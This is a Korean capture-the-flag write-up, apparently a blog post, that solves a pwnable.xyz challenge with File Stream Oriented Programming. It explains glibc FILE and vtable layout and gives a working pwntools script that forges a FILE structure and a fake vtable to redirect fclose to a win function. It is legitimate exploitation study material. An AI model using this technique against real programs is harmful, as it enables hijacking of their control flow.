# description
FSOP(File Stream Oriented Programming) 기법을 사용하는 문제이다.
# code
fclose 함수로 input을 인자로 파일을 닫는다.
input 변수는 전역변수로 FILE 포인터이다.
# process
bss 섹션(0x601000)을 보면, stdout과 stdin이 구조체(struct _IO_FILE_plus)로 구조화되어있다.
glibc이 사용하는 FILE 구조체로, 최근 vtable이 추가되었다.
vtable 포인터는 FILE 구조체의 마지막 8바이트에 위치하며, vtable 포인터가 가리키는 vtable은 해당 포인터가 가지는 주소에 위치한다.
vtable 구조체(struct _IO_jump_t)에는 함수의 주소들이 적혀있다.
1. input에 FILE 구조체를 만든다.
* 신경써야 할 점 *
1) _IO_lock_t 포인터가 가지는 값은 쓸 수 있는 영역이어야 한다.
_IO_lock_t 포인터는 멀티쓰레딩 환경에서 파일을 읽고 쓸 때 race condition을 방지하기 위해 사용한다.
2) FILE 구조체의 마지막 8바이트는 vtable에 대한 포인터이다.
이 마지막 8바이트에는 &fake vtable을 넣어야 한다.
이 조건을 만족시키도록 offset을 구해서 배치한다.
사용하지 않는 나머지 부분은 0으로 채운다.
(A같은 값으로 채우면 밀릴 수 있다.)
2. fake vtable 생성
우리는 fclose(&input)을 사용할 것이다.
fclose 시 fclose 대신 win 함수를 실행하게 한다.
따라서 fake vtable에서 원래 stdout이나 stdin에서 fclose 함수의 주소가 위치한 곳의 offset을 구해서 fake vtable에 배치한다.
하지만 이 문제의 경우, 디버깅을 하다보면 fclose가 아닌 vtable에서 rsp+0x10, 즉 finish 주소를 참조해서 vtable+0x10 영역에 win 함수 주소를 적었다.
3. vtable의 시작주소를 FILE 구조체의 마지막 8바이트에 적는다.
4. 완성된 구조
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30018)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
lock_offset = 136
fclose_offset = 136
input = 0x601260
pay = '\x00'*lock_offset
pay += p64(0x601648)
pay += '\x00'*0x48
pay += p64(input+lock_offset+0x48+0x10)
#pay += '\x00'*fclose_offset
pay += '\x00'*0x10
pay += p64(win)
p.sendline(pay)
p.interactive()
# exploit
[pwnable.xyz] J-U-M-P (0) | 2020.02.28 |
---|---|
[pwnable.xyz] strcat (0) | 2020.02.27 |
[pwnable.xyz] SUS (0) | 2020.02.05 |
[pwnable.xyz] game (0) | 2020.01.22 |
[pwnable.xyz] Jmp_table (0) | 2019.11.11 |